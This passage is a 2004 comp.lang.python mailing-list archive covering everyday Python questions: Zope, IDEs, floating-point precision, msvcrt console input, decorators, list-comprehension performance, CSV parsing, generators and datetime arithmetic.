Is zope suitable for such kind of application? > I read the zope book & now I am more confused. > What is the best way to develop such kinda application in zope? By coincidence, I was looking at the source code of a product related to your requirements: http://www.zope.org/Members/runyaga/ZTimesheet This is a clone, which I haven't looked at: http://zope.org/Members/Nielssteenkrogh/My_projects/ZTIMEPROJECT You could look also at the source code of my JMBoring product. It may help you developing your zope python based product: http://zope.org/Members/jmeile/JMBoring Some useful links, which I think are the guidelines you must read before developing your python product: http://www.zope.org/Documentation/Books/ZDG/current/index_html http://www.zope.org/Members/gtk/Boring/HowTo-Boring http://www.zope.org/Members/maxm/HowTo/minimal_01/ http://www.zope.org/Members/Zen/howto/ZPT_management Some of them are old, but still apply to the current zope version. I think the best way to develop such product is by using an external database to store the data (for the zope interaction, you can use an existent Zope Database Adapter - See the zope book for more info), doing the interfaces with ZPT (Zope's Page Templates -> Don't use DTML), and coding the logic on a python based product (forget about ZClasses) Regards, Josef PS: Please in the future post your zope related questions to: zope at zope.org See info for subscription on: http://mail.zope.org/mailman/listinfo/zope From aleaxit at yahoo.com Tue Sep 14 07:43:46 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 13:43:46 +0200 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: <1gk3o6h.1gnebbiihpoy9N%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > fault? Probably. But it's all that I have -- a 500MHz PC with 64MB and > Win98 SE. It has to be Windows, for reasons beyond my control (read ... > PC just can't handle paths with slashes -- I had to pass backslashes > to all os.* calls. I never had this issue before, so I don't know if > it's my Windows version or Python's libray fault (I assume the I wonder if it's connected to using some specific internationalized version of Win98 SE, because, using US and Italian versions thereof, I had no problems whatsoever with this issue. I don't know if you can try installing a US or other plain vanilla version of Win98 SE to see if that changes things -- me, I definitely don't have a (?Brazilian? not sure what you might be using...) version around to try the other way. > former). I managed to start it yesterday very late at night, but > haven't tried to use it immediately. I tried it again now, and it's > bombing as soon as I ask to open a new file. Can I fix it? Probably. > But that's not the point - I should be delivering code to my > customers. Sure, but if Win98 SE _does_ have specific problems with (e.g.) the Brazilian version, that don't show up in the US, France, Italy, Germany, and so on -- just a hypothesis, but I can't think of what else it might be -- how do you expect those problems to be found, much less worked-around, until and unless somebody using that specific buggy version tries doing normal things (such as passing / instead of \ as part of filenames) and they start blowing up? If you can reproduce specific problems with slashes vs backslashes on one vs another version of Windows and a good recent Python, opening a bug report may (if somebody who's doing bug-fixing has the buggy version of Windows around) produce workarounds for the next release of Python. You sure can't hope for workarounds or fixes from Microsoft, who does not even support your version of Windows any more, I believe. Alex From jepler at unpythonic.net Mon Sep 20 20:03:57 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Mon, 20 Sep 2004 19:03:57 -0500 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? In-Reply-To: References: Message-ID: <20040921000356.GA2641@unpythonic.net> If it's any consolation, I get similar problems in C. Whenever Python does floating point math, it thinly wraps your C compiler's math library. $ cat > metzler.c < #include > > double x, y, z; > double cos_gamma3, gamma3; > > int main(void) { > x = 0.999999; > y = 0.999997; > z = 1e-08; > > cos_gamma3 = cos(x - y) - sin(x)*sin(y)*(1.0 - cos(z)); > gamma3 = acos(cos_gamma3); > > printf("This shold be positive: %g\n", gamma3 - fabs(x-y)); > return 0; > } > EOF $ gcc metzler.c -lm -o metzler $ ./metzler This shold be positive: -2.21218e-11 acos(cos(d)) for small d gives fairly large errors on my system: >>> d = .999999 - .9999977 >>> acos(cos(d)), d (1.2999928800133351e-06, 1.2999999999818712e-06) >>> # ^ First difference here a half dozen correct digits isn't great, but it's all my platform's trig functions seem to give me. And you're trying to make a silk purse out of a sow's ear... Incidentally, the second part of your expression goes to 0 here, with the given values: >>> cos(z) == 1.0 True >>> sin(x)*sin(y)*(1-cos(z)) 0.0 >>> _ == 0 True Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk Mon Sep 20 03:26:10 2004 From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen) Date: 20 Sep 2004 07:26:10 GMT Subject: python is going to die! =( References: <1095635849.649169.161680@k26g2000oda.googlegroups.com> Message-ID: <414e8612$0$183$edfadb0f@dread11.news.tele.dk> "Chris S." wrote in news:yXo3d.1565$kn2.933 @trndny07: > IBM doesn't support > projects like Eclipse because they want more "stupid untalented code > monkeys". Actually, they do, very much! Stupid == Cost Effective --> Good Bottomline --> Large Bonus to Management!! The Holy Grail of software delopment is to be able to have a few "architects" specify in suffiecient detail so the "builders" (i.e. Trained Monkeys) can produce completed applications; The problem is of course that one spend soo much time "specifying" that by the time the "monkeys" could possibly do the job, it is already 90% done (Then Management spend another 100% on getting the "monkeys" to implement the remaining 10% witout messing up the rest ;-). Unfortunately, that's what keep Management busy & happy - and if it worked for Henry Ford 100 years ago, then it has better be made to work for software too. From aleaxit at yahoo.com Wed Sep 22 13:27:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 19:27:01 +0200 Subject: python ides References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> Message-ID: <1gkj4c6.1xmd0xd1jdgzx9N%aleaxit@yahoo.com> David Bolen wrote: ... > > I'm not a big IDE user, but I've seen WingIDE's debugger in the hand of > > an IDE-wizard, and it _is_ incredible. > > It also has the attractive mechanism by which you can include > debugging support in any application and then debug it remotely in > whatever environment it is running - e.g., if you're stuck with code Yeah, I think that was part of what the IDE-wizard was doing, as: > hits that point (whether it's running deep inside a web server, or any ...we WERE "deep inside a web server" (one coded with Twisted)... Alex From jlearman at cisco.com Sat Sep 4 16:35:00 2004 From: jlearman at cisco.com (Jeff Learman) Date: Sat, 04 Sep 2004 16:35:00 -0400 Subject: blocking read on stdin on Windows? In-Reply-To: References: <1094311253.319782@sj-nntpcache-5> Message-ID: <1094330337.826284@sj-nntpcache-3> Hmm, getch() and getche() don't block. The lib ref page says, "Read a keypress and return the resulting character. Nothing is echoed to the console. This call will block if a keypress is not already available, but will not wait for Enter to be pressed." However: import msvcrt print msvcrt.kbhit() print "prompt: ", ch = msvcrt.getche() print print ord(ch) Results -- without typing a key: 0 prompt: 255 Any ideas? Thanks, Jeff Dennis Lee Bieber wrote: > On Sat, 04 Sep 2004 11:23:12 -0400, Jeff Learman > declaimed the following in comp.lang.python: > > >>I want to do a very simple thing in Windows. (Using Python Shell.) >> >>I want to write a prompt to sys.stdout and read the user input. >>(Ideally, without waiting for a newline.) >> > > Library reference > Section 22 (M$ specific) > Subsection .1.2 (Console I/O) > > lib> kbhit( ) > lib> Return true if a keypress is waiting to be read. > lib> > lib> getch( ) > lib> Read a keypress and return the resulting character. Nothing is > echoed to the console. This call will block if a keypress is not already > available, but will not wait for Enter to be pressed. If the pressed key > was a special function key, this will return '\000' or '\xe0'; the next > call will return the keycode. The Control-C keypress cannot be read with > this function. > lib> > lib> getche( ) > lib> Similar to getch(), but the keypress will be echoed if it > represents a printable character. > lib> > lib> putch( char) > lib> Print the character char to the console without buffering. > lib> > lib> ungetch( char) > lib> Cause the character char to be ``pushed back'' into the console > buffer; it will be the next character read by getch() or getche(). > > stdin tends to be buffered by the OS -- the OS doesn't release > anything until the new-line. You have to use OS specific operations to > get to the data in the buffer. > From danperl at rogers.com Thu Sep 30 16:12:38 2004 From: danperl at rogers.com (Dan Perl) Date: Thu, 30 Sep 2004 16:12:38 -0400 Subject: idiom for debug code? References: Message-ID: <6tadnfHqDdcg9cHcRVn-hQ@rogers.com> I was not thinking of actually removing code. The analogy to C++ preprocessing was just an example. I am looking at something that can be determined at run-time, not compile-time. And you're right, I'm not really concerned about the overhead of an "if" because I will not use this extensively anyway. This problem occurred to me when I decided to add an import for win32traceutil. I'm looking for a way to have that permanently in the code and enabling/disabling it only at run-time. I have thought of alternatives like an environment variable or a configuration parameter, but I was looking for other ideas. I thought this should be a common issue and that there could be an idiom for it. Dan PS: in the case of importing win32traceutil, I guess that checking the environment would be necessary anyway, or the import should be in a try statement, ignoring the exceptions. "Larry Bates" wrote in message news:wfmdnXvIef4v1cHcRVn-vQ at comcast.com... > Dan Perl wrote: >> Is there a mechanism or an idiom for adding code for debugging so that it >> can easily be removed in the production code? I am thinking of something >> similar to the C/C++ preprocessor statements with which you can compile >> an application with the debug code or without it (the default). >> >> Dan > Personally I think you should consider NOT removing the debugging code. > It never ceases to amaze me how many times I must have a client run > the application with debug set so that the program logs details about > the running process and intermediate results. The output logfile can > then be easily emailed, faxed, etc. to me so that I can determine what > is REALLY the problem. The overhead of these if _debug: "type" > statements seems incredibly low compared to the ability to get this > information when needed. Just some thoughts based on my experience > of the last 30+ years. > > Larry Bates > Syscon, Inc. From anthony at python.org Fri Sep 3 05:34:02 2004 From: anthony at python.org (Anthony Baxter) Date: Fri, 03 Sep 2004 19:34:02 +1000 Subject: final version of PEP-318 "Decorators for functions and methods" Message-ID: <41383A8A.4020606@python.org> To go along with the 2.4a3 release, here's an updated version of the decorator PEP. It describes the state of decorators as they are in 2.4a3. -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: pep-0318.txt URL: From aleaxit at yahoo.com Thu Sep 30 04:55:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 30 Sep 2004 10:55:52 +0200 Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> Message-ID: <1gkxa0o.1l5eyr0128x6mbN%aleaxit@yahoo.com> Raymond Hettinger wrote: > [Neuruss] What I'd like to know is if using list comprehensions would give > me a > performance advantage over traditional for loops or not. > > For Py2.4, list comprehensions are much faster than equivalent for-loops. ...but if the for loop is NOT equivalent (it doesn't accumulate results into a resulting list), it's still faster. As I posted: kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in xrange(999): f()' 1000 loops, best of 3: 1.29e+03 usec per loop kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in xrange(999)]' 1000 loops, best of 3: 1.45e+03 usec per loop the LC is paying for the building of a list of 999 references to None, which the for loop easily avoids, so the for loop is much faster here. Of course, it WAS way more pronounced in 2.3: kallisti:~/cb alex$ python2.3 timeit.py -s'def f():pass' 'for x in xrange(999): f()' 1000 loops, best of 3: 1.76e+03 usec per loop kallisti:~/cb alex$ python2.3 timeit.py -s'def f():pass' '[f() for x in xrange(999)]' 100 loops, best of 3: 2.43e+03 usec per loop > > I'm getting fond of list comprehensions, but I wonder if it's wise to > > abuse of them... > > Use whatever is clearest. > Don't abuse anything. Absolutely. And: use 2.4 -- note that the SLOWER solution in 2.4 still gains a good 20% over the FASTER one in 2.3... anybody who cares about performance should be giving 2.4 an intense workout already, rarin' for the day in which it will be officially released so it can be sensibly used in customer-delivered software... (and, for those not in the know, I should point out that Raymond was the one most responsible for the overall impressive speed-up 2.2->2.3->2.4...!!!-). Alex From gary.wilson at gmail.com Sat Sep 25 16:13:22 2004 From: gary.wilson at gmail.com (gary) Date: 25 Sep 2004 13:13:22 -0700 Subject: regular expression for integer and decimal numbers References: Message-ID: Peter Hansen wrote in message news:... > gary wrote: > > I want to pick all intergers and decimal numbers out of a string. > > Would this be the most correct regular expression to use? > > > > "\d+\.?\d*" > > Examples, including the most extreme cases you want to handle, > are always a good idea. > > -Peter Here is an example of what I will be dealing with: """ TOTAL FIRST DOWNS 19 21 By Rushing 11 6 By Passing 6 10 By Penalty 2 5 THIRD DOWN EFFICIENCY 4-11-36% 6-14-43% FOURTH DOWN EFFICIENCY 0-1-0% 0-0-0% TOTAL NET YARDS 379 271 Total Offensive Plays (inc. times thrown passing) 58 63 Average gain per offensive play 6.5 4.3 NET YARDS RUSHING 264 115 """ I can only hope that they were nice and put a leading zero in front of numbers less than 1. From erik at heneryd.com Thu Sep 16 18:28:57 2004 From: erik at heneryd.com (Erik Heneryd) Date: Fri, 17 Sep 2004 00:28:57 +0200 Subject: what's the deal of "_" in Python? In-Reply-To: <49idncYjAKcPj9fcRVn-og@powergate.ca> References: <49idncYjAKcPj9fcRVn-og@powergate.ca> Message-ID: <414A13A9.2080304@heneryd.com> phansen wrote: > Yun Mao wrote: > >> Can someone give me some pointers to the related docs? Thanks. > > > It's a variable name. See http://docs.python.org/ref/identifiers.html ...and is special in interactive mode. See http://docs.python.org/ref/id-classes.html Erik From pf_moore at yahoo.co.uk Mon Sep 20 17:09:41 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Mon, 20 Sep 2004 22:09:41 +0100 Subject: Fixed: pyMinGW patched Python compiles in MinGW & passes regrtests References: <8ad8ad0a.0409200909.545f257@posting.google.com> Message-ID: abkhd at earth.co.jp (A. B., Khalid) writes: > This is to inform those interested in getting Python to compile in > MinGW that the pyMinGW patch is now able to help compile both Python > 2.3.4 Final and Python 2.4a3 and the resulting MinGW Python passes the > regrtests as follows. Cool! It would be nice if this could be made into a patch to core python, so that the main sources support a mingw build. Paul. -- The major difference between a thing that might go wrong and a thing that cannot possibly go wrong is that when a thing that cannot possibly go wrong goes wrong it usually turns out to be impossible to get at or repair. -- Douglas Adams From nytimes at swiftdsl.com.au Fri Sep 17 20:37:49 2004 From: nytimes at swiftdsl.com.au (huy) Date: Sat, 18 Sep 2004 10:37:49 +1000 Subject: Python Webstart ? In-Reply-To: References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <414b8362$0$2405$61ce578d@news.syd.swiftdsl.com.au> Jorge Godoy wrote: > huy writes: > > >>Well not really. I don't mind doing one installation of a >>(Python/Java) webstart. However, it's the automatic update of the >>actual application software which I find most useful. The alternative >>using p2exe or pyfreeze will require me to distribute the (potentially >>large) binaries manually. For hundreds of terminals, this is not gonna >>be good, especially in an iterative environment. > > > A network drive is not an option? I use that with several software. I > just update one copy and everybody has an updated copy of the software > the next time they run it. > > What I miss is the option to update the already running clients when > they instantiate the class again, but then, this would probably include > performance penalties when there are no changes. > It's not really a an option because the users are spread out across multiple sites and are only accessible via http or email. Before someone suggests a web app, this is not really an option either due to the type of application. >>That's an option but I don't quite trust using jython for a full blown >>application. I use it mainly for unittesting at the moment. > > > Have you found any problems with it? I think that some missing CPython > modules prevented me to give it more attention, but now I don't even > remember which ones... :-( I haven't found any problems with it. It works great with httpunit which is how I'm using it at the moment. However, the community doesn't seem as active so I'd rather stick to the CPython for my main apps. With Java 5 coming + better external tools eg. spring framework, swixml, I find things like Jython are losing more of their edge. Huy From jburgy at hotmail.com Tue Sep 7 17:25:24 2004 From: jburgy at hotmail.com (Jan Burgy) Date: 7 Sep 2004 14:25:24 -0700 Subject: Comment acceder a un champ de bdd par son nom, (ou acces a un tuple de tuples) References: Message-ID: <807692de.0409071325.55f0a13e@posting.google.com> richard wrote in message news:... > bonjour > > je me connecte ? une base de donn?es interbase/firebird en utilisant, > KinterbasDB > http://kinterbasdb.sourceforge.net/ pour ceux que ca interesse > > mais je pense que le probleme est le meme quel que soit la bdd > > j'aimerais acceder a un champs par sont nom plutot que par son index > dans le record en cours, comme je fais maintenent > > la prop description du curseur renvoye le tuple de tuple suivant > (('PATIENTID', , 180, 180, 0, 0, True), > ('ORIGINALPATIENTID', , 60, 60, 0, 0, True), ('CENTERID', > , 11, 4, 0, 0, True), ('NAME', , 452, 452, 0, 0, > True), ('FIRSTNAME', , 452, 452, 0, 0, True), ('BIRTH', > , 6, 2, 0, 0, True), ('SEXE', , 6, 2, 0, 0, > True), ('ENTRYDATE', , 10, 4, 0, 0, True), ('COMMENTS', > , 0, 8, 0, 2, True), ('LASTMODIFDATE', , > 10, 4, 0, 0, True), ('DEP', , 6, 2, 0, 0, True), > ('QUESTIOID', , 11, 4, 0, 0, True), ('CREADATE', 'DateTime'>, 22, 8, 0, 0, True)) > > le row courant est lui un tuple simple: > ('02-0000', None, 2, None, None, 1961, 1, '2002-06-16 00:00:00.00' at 90c860>, 'sevrage effectu\xe9\x00\x00', > , None, 520, > ) > > comment, par exemple, acceder au 3em element du tuple (en l'occurence le > nombre 2) en utilisant le nom CENTERID qui est le premier element du > 3eme element du tuple qui decrit la strucure ? > > j'espere que je me suis fais comprendre > > merci d'avance... Salut Richard, je fais quelque-chose de tres semblable. Mon idee est la suivante (attention, je tape tout de tete et je te laisse le soin de tester toi-meme): # d'abord il faut extraire une list de tous les noms: names = [ x[0] for x in cursor_description ] # ensuite tu bricoles un dictionnaire avec le row courant: row = dict(zip(names, current_row)) # tu peux maintenant faire les acces suivants: center_id = row["CENTERID"] first_name = row["FIRSTNAME"] # etc... Un derniere remarque: la langue officielle de comp.lang.python est l'anglais. Tu auras donc beaucoup plus de succes si tu traduis tes messages avant de les envoyer... Bonne chance, Jan From kjetilho at yksi.ifi.uio.no Wed Sep 15 17:38:54 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Wed, 15 Sep 2004 23:38:54 +0200 Subject: Convert Dictionary to String, vice versa? References: Message-ID: <1rllfb43gx.fsf@rovereto.ifi.uio.no> [Byron]: > > I am a newbie and would like to know if it is possible to convert > a string back to a dictionary? > > For example, I can convert a dictionary to a string by doing this: > > >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} > >>> strNames = str(names) > >>> print strNames > {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} > > However, is there a way to convert a string back to a dictionary? > > Any help is very much appreciated! I'm surprised no one has mentioned pickle. >>> import pickle >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} >>> pickle.dumps(names) "(dp0\nS'Popcorn'\np1\nF4.9500000000000002\nsS'Candy'\np2\nF2.9500000000000002\ns." >>> pickle.loads(pickle.dumps(names)) {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} -- Kjetil T. From b_mcerlean at yahoo.com Fri Sep 3 05:45:03 2004 From: b_mcerlean at yahoo.com (Brian McErlean) Date: 3 Sep 2004 02:45:03 -0700 Subject: Recursive Generator Question References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: pchiusan at umich.edu (Paul Chiusano) wrote in message news:<6543373d.0409021839.5caff11d at posting.google.com>... > I've been playing around with generators and have run into a > difficulty. Suppose I've defined a Node class like so: > > class Node: > def __init__(self, data=None, left=None, right=None): > self.children = [] > self.children.append(left) > self.children.append(right) > self.data = data > > def __iter__(self): return self > > def next(self): > """ Returns iteration over terminal nodes of this tree. """ > if self.data: > yield self > else: > for child in self.children: > for terminal in child: > yield terminal > [ ... ] > For some reason, that iteration is returning generators instead of > leaves. Curiously, if I replace that for loop with This is because you told it to. The next() method needs to return the single next element, but the one above is returning a generator, so you end up with a sequence of generators. If you make the object its own iterator (returning self in __iter__), you will have to save some state to remember what position you are at (which is bad since it prevents multiple iterators) What you probably meant to do is to put the code in the next() method directly in __iter__ - that way the generator returned is your iterator, rather than the object itself. Brian. From jjl at pobox.com Sun Sep 12 09:38:39 2004 From: jjl at pobox.com (John J. Lee) Date: 12 Sep 2004 14:38:39 +0100 Subject: Alternatives for the CSV module References: Message-ID: <874qm3k3og.fsf@pobox.com> madsurfer2000 at hotmail.com (-) writes: > I am going to make a program that reads files with different > csv-dialects. Sometimes the field-separator or line-separator can be > more than one character. The standard CSV module in Python 2.3 is not > a good solution, because it expects single characters. [...] Dunno if it's any good to you, but there's one called DSV. John From skip at pobox.com Sun Sep 12 12:30:47 2004 From: skip at pobox.com (Skip Montanaro) Date: Sun, 12 Sep 2004 11:30:47 -0500 Subject: Alternatives for the CSV module In-Reply-To: References: Message-ID: <16708.31159.477919.868212@montanaro.dyndns.org> >> I am going to make a program that reads files with different >> csv-dialects. Sometimes the field-separator or line-separator can be >> more than one character. The standard CSV module in Python 2.3 is not >> a good solution, because it expects single characters. Well, I might disagree with you there. By all reasonable accounts, delimited files containing multi-character delimiters are not CSV files, at least not as operationally defined by Excel (which I mention only because it's probably the largest producer and consumer of such files). >> Example of a file >> "ABC"<>"DEF"""<>"GHI"??123<>456<>"XYZ"?? >> Here the field delimiter is "<>" and the "line" terminator "??". >> Fields can be enclosed in quotes, and a double qoute is treated as >> normal text. >> This is not the only format the parser can expect. The format is >> given to the program by the user, so the program should have no >> problems parsing the text. An ideal solution would be a similar >> parser to the standard CSV-parser, except that it accepts strings as >> delimiters. >> I could always manipulate the input file and replace the delimiters >> by single characters, but I would like a more generic solution. That's pretty generic. How about this (untested): class DelimitedFile: def __init__(self, fname, mode='rb', ind=',', outd=','): self.f = open(fname, mode) self.ind = ind self.outd = outd def __iter__(self): return self def next(self): line = self.f.next() return line.replace(self.ind, self.outd) Use it like so: import csv class d(csv.Excel): delimiter = '\001' lineterminator = '??' reader = csv.reader(DelimitedFile(fname, ind='<>', outd='\001'), dialect=d) for row in reader: print row The goal is of course to pick a delimiter which won't appear in the file, hence the Ctl-A. Skip From adalke at mindspring.com Wed Sep 1 16:50:35 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 01 Sep 2004 20:50:35 GMT Subject: Standard graph API? In-Reply-To: References: Message-ID: I've been off-line for a couple months so a bit late following up to this thread... I too would like some standard collection of graph algorithms, but not necessarily a standard API. I work with a lot of molecular graphs which means I would prefer using names like "atoms" and "bonds" instead of "nodes" and "edges". David Eppstein wrote: > I would strongly prefer not to have weights or similar attributes as > part of a graph API. I would rather have the weights be a separate dict > or function or whatever passed to the graph algorithm. The main reason > is that I might want the same algorithm to be applied to the same graph > with a different set of weights. An alternative, which is both intriguing and sends alarm bells ringing in my head is to have the algorithm collection instead generate code as needed, so that I can ask for, say, "depth first search using '.atoms' to get a list of neighboring nodes." The result could exec'ed to generate usable Python dynamically, or written to a file to be used as a normal Python module. In this case if the DFS generates callback events then it could include options to only create the code for events that are needed. There would need to be some standards on how the graph is used, like "two nodes are the same iff 'node1 is node2'" or "the result of getting the list of edges is iterable." I believe this design philosophy is similar to Boost's. Andrew dalke at dalkescientific.com From peter at engcorp.com Thu Sep 23 13:24:05 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 Sep 2004 13:24:05 -0400 Subject: incrementing a time tuple by one day In-Reply-To: References: Message-ID: David Stockwell wrote: > I'm sure this has been asked before, but I wasn't able to find it. > > First off I know u can't change a tuple but if I wanted to increment a > time tuple by one day what is the standard method to do that? > > I've tried the obvious things and haven't gotten very far. > > I have a time tuple that was created like this: > aDate = '19920228' > x = time.strptime(aDate,"%Y%m%d") > print x > (1992, 2, 28, 0, 0, 0, 4, 59, -1) > > y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0)) > print y > 1643277600.0 > print time.ctime(y) > 'Thu Jan 27 05:00:00 2022' > > It appears to have decremented by a day and a month instead of increment. > > What am I doing wrong? What you're doing wrong is: not using the datetime module... >>> aDate = '19920228' >>> x = time.strptime(aDate, '%Y%m%d') >>> print x (1992, 2, 28, 0, 0, 0, 4, 59, -1) >>> d = datetime.datetime.fromtimestamp(time.mktime(x)) >>> d datetime.datetime(1992, 2, 28, 0, 0) >>> y = d + datetime.timedelta(days=1) >>> y.ctime() 'Sat Feb 29 00:00:00 1992' -Peter From aleaxit at yahoo.com Fri Sep 3 02:11:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 08:11:35 +0200 Subject: negative stride list slices References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: <1gji1q4.1o8bgdilmf81nN%aleaxit@yahoo.com> Shalabh Chaturvedi wrote: ... > Does anyone else find it intuitive to expect that S[b:a:-1] be exactly > reverse of S[a:b:1]? Not me, because I _know_ that S[x:y:anything] INCLUDES S[x] and EXCLUDES S[y]. So, swappiing x and y can't POSSIBILY "exactly reverse' things, *ever*, NO MATTER HOW 'anything' changes. That's a good reason why 2.4 introduces the new built-in 'reversed': if you want to loop on "exactly the reverse of" S[a:b], you loop on reversed(S[a:b]) and live happily ever after. Alex From pfortin at pfortin.com Thu Sep 16 20:46:57 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 16 Sep 2004 20:46:57 -0400 Subject: list/tuple to dict... References: <20040915163909.4234ce31@gypsy.pfortin.com> <1gk7a4p.9bjbrs173syhqN%aleaxit@yahoo.com> Message-ID: <20040916204657.6cfbb0f9@gypsy.pfortin.com> On 16 Sep 2004 19:15:42 GMT Bengt wrote: > On Thu, 16 Sep 2004 10:16:28 +0200, aleaxit at yahoo.com (Alex Martelli) > wrote: > > >Pierre Fortin wrote: > > ... > >> class todict: > >> """ Converts a list/tuple to a dict: foo = todict(values,names) > >"""> def __init__(self,values,names): > >> self.d = {} > >> for i,name in enumerate(names.split(",")): > >> self.d[name.strip()]=values[i] > >> def __setitem__(self, name, value): > >> self.d[name]=value > >> def __getitem__(self, name): > >> return self.d[name] > > > >You can implement this exact functionality (not worth it for os.stat, > >of course, which already does return a pseudotuple with named items) in > >a probably better way...: > > > [...] > > Perhaps pseudo-tuples that support attribute-name access to elements > could have a __getitem__ that would accept integers in the index way, > and strings as a mapping-like alternative to attribute accesses of the > same name. > > That way > '%(st_size)s' % os.stat(filename) > would work. Right! > And if str.__mod__ were modified to have a %** format to establish the > corresponding argument as the effective mapping for string keys yet > worked normally from the tuple for unnamed arguments, then you could > write > > '%**%(st_size) is the size of file %r' % (os.stat(filename), > filename) > > or putting the mapping object in the middle works too, so long as it's > before named stuff: > > 'File %r is %**%(st_size) long. (full path %r)' % ( > filename, os.stat(filename), os.path.abspath(filename)) Would there be a problem with %(key[,len[,prec]]) for the general case? Notwithstanding the fact that len and prec are positional in my example... :^) I'd prefer keeping everything together somehoe, rather than a new Perl-like 'wart'... but, I'd be pleased to see your attribute-name idea go forward either way... You don't mention how %** gets its values though... typically, I would use this for row upon row (column widths)... > you could even entertain multiple mapping objects by specifying %** as > you needed new ones. I think this could be made backwards compatible, > since without %** mapping arguments would either get used or get repr'd, > depending, as now. > > Regards, > Bengt Richter Thanks, Pierre From chris.cavalaria at free.fr Sun Sep 19 15:40:09 2004 From: chris.cavalaria at free.fr (Christophe Cavalaria) Date: Sun, 19 Sep 2004 21:40:09 +0200 Subject: So I guess PyUI is long abandonded? What else is there? References: <864d3709040918140135a95917@mail.gmail.com> <414cc1d1$0$25710$636a15ce@news.free.fr> Message-ID: <414de0a5$0$297$626a14ce@news.free.fr> Martin Maney wrote: > Christophe Cavalaria wrote: >> Well, I think that it's simply due to the fact that the docs for pyui are >> out of date. > > And incomplete at any time, though that's hardly uncommon. > >> It's true that the gl rendere needs WGL, but the p3d renderer >> only needs SDL and pygame to work. Too bad that they don't mention it, >> isn't it ? > > It would be nice if the problem were so easily solved, but as of 0.95 > (last one released as an installable package rather than an image of an > installed-on-Windows tree), p3d seems to be openGL based and is, in > fact, the invoker of the crash in some of the tests I tried to run to > see if the package were working: > > > elif renderer == "p3d": > from renderers.openglPygame import OpenGLPygame > > > renderers.openglPygame imports openglBase, and that tries to import the > WGL thing, and then it falls over. :-( I remember now, you must also comment the import for WGL. It isn't needed anyway since it uses SDL for the fonts and WGL was only used for that on windows. > Perhaps you meant the "2d" renderer (aka pygame2D module)? With that > explicitly requested, many of the test/demo programs run, sort of. > Their behavior is not what I'd call encouraging, from the request for > "font.ttf", with the failure, on both an older and quite recent version > of pygame, reported as "Couldn't find arial.ttf" (WTF?), to the lack of > any apparent means of stopping them other than control-C in the xterm > from which they were run (well, or doing something that crashes them - > I'm still not sure what I did to minesweeper). > > Oh, and there's no way to tell it what font you'd like to use, nor what > size (at least with the pygame renderer; there's a "font" argument to > one function, but it's ignored). Or are you supposed to go poking > around at the module-scope variables, like poke'ing bytes into magic > locations in a prehistoric Basic program? The only way to tell him what font to use seems to be writing a new theme, or using a theme with a font parameter. From paulpaterson at users.sourceforge.net Thu Sep 23 21:30:33 2004 From: paulpaterson at users.sourceforge.net (Paul Paterson) Date: Fri, 24 Sep 2004 01:30:33 GMT Subject: Call for suggestions: Declaring data entry forms using Python classes In-Reply-To: References: Message-ID: Carlos Ribeiro wrote: > > I'm doing good progress on my form declarative language library. The > idea (for those who haven't read about it) is to be able to specify a > form declaration in the following format: > > class ComplexForm(Form): > class Header(Form): > nickname = TextBox(length=15, default="") > password = TextBox(length=10, default="", password=True) > name = TextBox(length=40, default="") > class Comment(Form): > comments = TextBox(length=200, default="", multiline=True) > [snip] By a strange coincidence, this intermediate representation is eerily similar to the one used in vb2py when converting Visual Basic forms to Python ones (implemented in PythonCard). The process is, 1. Read VB form 2. Write intermediate representation (see below) 3. Convert intermediate to a PythonCard (wxWidgets based) form The intermediate representation looks like, class vbobj_frmForm(resource.Form): Caption = "Form1" ClientHeight = 3090 ClientLeft = 60 ClientTop = 450 ClientWidth = 4680 class vbobj_btnCheckLike(resource.CommandButton): Caption = "Like ?" Height = 375 Left = 1440 TabIndex = 2 Top = 1560 Width = 1815 class vbobj_txtTwo(resource.TextBox): Height = 405 Left = 240 TabIndex = 1 Text = "Text2" Top = 840 Width = 4095 class vbobj_txtOne(resource.TextBox): Height = 375 Left = 240 TabIndex = 0 Text = "Text1" Top = 240 Width = 4095 I've found that the inner class approach works pretty well although I must admit that the implementation of the transformation in vb2py is pretty ugly! I'm very interested in where you are headed with this - what is your target UI? Are you planning on releasing this under an OS license? Regards, Paul ================================ vb2Py - Visual Basic to Python Conversion http://vb2py.sourceforge.net From carribeiro at gmail.com Fri Sep 3 09:33:29 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 10:33:29 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: References: Message-ID: <864d370904090306333b53ef56@mail.gmail.com> Mostly agreed. There is an inconsistence, as sorted() and reversed() should return both the same type of result - be it a sequence or a iterator. I propose a slightly different approach. First, proposing a generic naming scheme for built-ins is 